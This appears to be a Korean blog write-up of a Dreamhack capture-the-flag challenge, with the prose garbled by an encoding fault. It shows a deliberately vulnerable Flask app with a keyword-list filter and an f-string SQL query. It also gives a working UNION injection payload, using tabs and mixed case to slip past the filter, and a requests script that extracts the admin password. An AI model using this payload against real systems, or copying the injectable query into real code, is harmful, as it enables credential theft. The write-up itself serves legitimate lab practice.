[2025-07-16] SQL injection Bypass WAF
๐ฆฅ ๋ณธ๋ฌธ
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๋ณด๋ column์ idx, uid, upw๋ก ๊ตฌ์ฑ๋์ด ์๋ค.
guest๋ฅผ ์ ๋ ฅํ๋ฉด result[1]์ธ guest ๊ฐ๋ง ์ถ๋ ฅ๋๋ ๊ฒ์ ๋ณผ ์ ์๋ค. admin์ ๋น๋ฐ๋ฒํธ๊ฐ FLAG์ธ๋ฐ, admin ๊ฐ์ ํํฐ๋ง ๋์ด ์์๋ค โ ADmin ๊ฐ์ ๋์๋ฌธ์ ํผ์ฉ์ผ๋ก ํํฐ๋ง ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค
๊ณต๋ฐฑ๋ ํํฐ๋ง์ด ๋์ด ์์๋ค. ์ฃผ์์ผ๋ก ๊ณต๋ฐฑ์ ํผํ๋ ค ํ์ผ๋ ์ฃผ์ ์ญ์ ํํฐ๋ง์ด ๋์ด ์์๋ค. ํญ์ ์๋ฏธํ๋ /t โ %09๋ฅผ ํตํด ํํฐ๋ง ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค
๋ํ UNION์ ์ฌ์ฉํ ๊ฑฐ๋ฉด ์์ ๊ตฌ๋ฌธ๊ณผ column ์๊ฐ ๋ง์์ผ ํ๋ค.
UNION SELECT null, upw, null, From user Where uid = 'admiN);
์์ ๊ฐ์ ์ฝ๋๋ก ๋ณด๋ด์ผ ํ๋ค. โ%09Union%09Select%09null,upw,null%09From%09user%09where%09uid="Admin"%23์ ์ฌ์ดํธ์ form์ ํตํด ๋ณด๋๋ ๋ฐ ์๋๋ ๊ฑฐ๋ค..
ํ์ด
'%09Union%09Select%09null,upw,null%09From%09user%09where%09uid=\"Admin\"%23
์ form์ ํตํด ๋ณด๋ด๊ฒ ๋๋ฉด ์ด์ค ์ธ์ฝ๋ฉ ์ฒ๋ฆฌ๊ฐ ๋์ด์ %09๊ฐ %2509๊ฐ ๋๋ค.
import requests
url = "http://host8.dreamhack.games:16809/"
params = {
"uid": "'\tUnion\tSelect\tnull,upw,null\tFrom\tuser\twhere\tuid=\"Admin\"#"
}
response = requests.get(url, params=params)
print(response.text)
์ ํตํด ๋ณด๋ด์ผ ์ํ๋ ๊ฒฐ๊ณผ๋ฅผ ์ป์ ์ ์๋ค.
ํโฆ ์ด๊ฒ๋ ๋ชจ๋ฅด๊ณ ๋๊ฐ์ ์ฝ๋์ ์๊ฐ ์์ฒญ ์ผ๋คโฆ
Leave a comment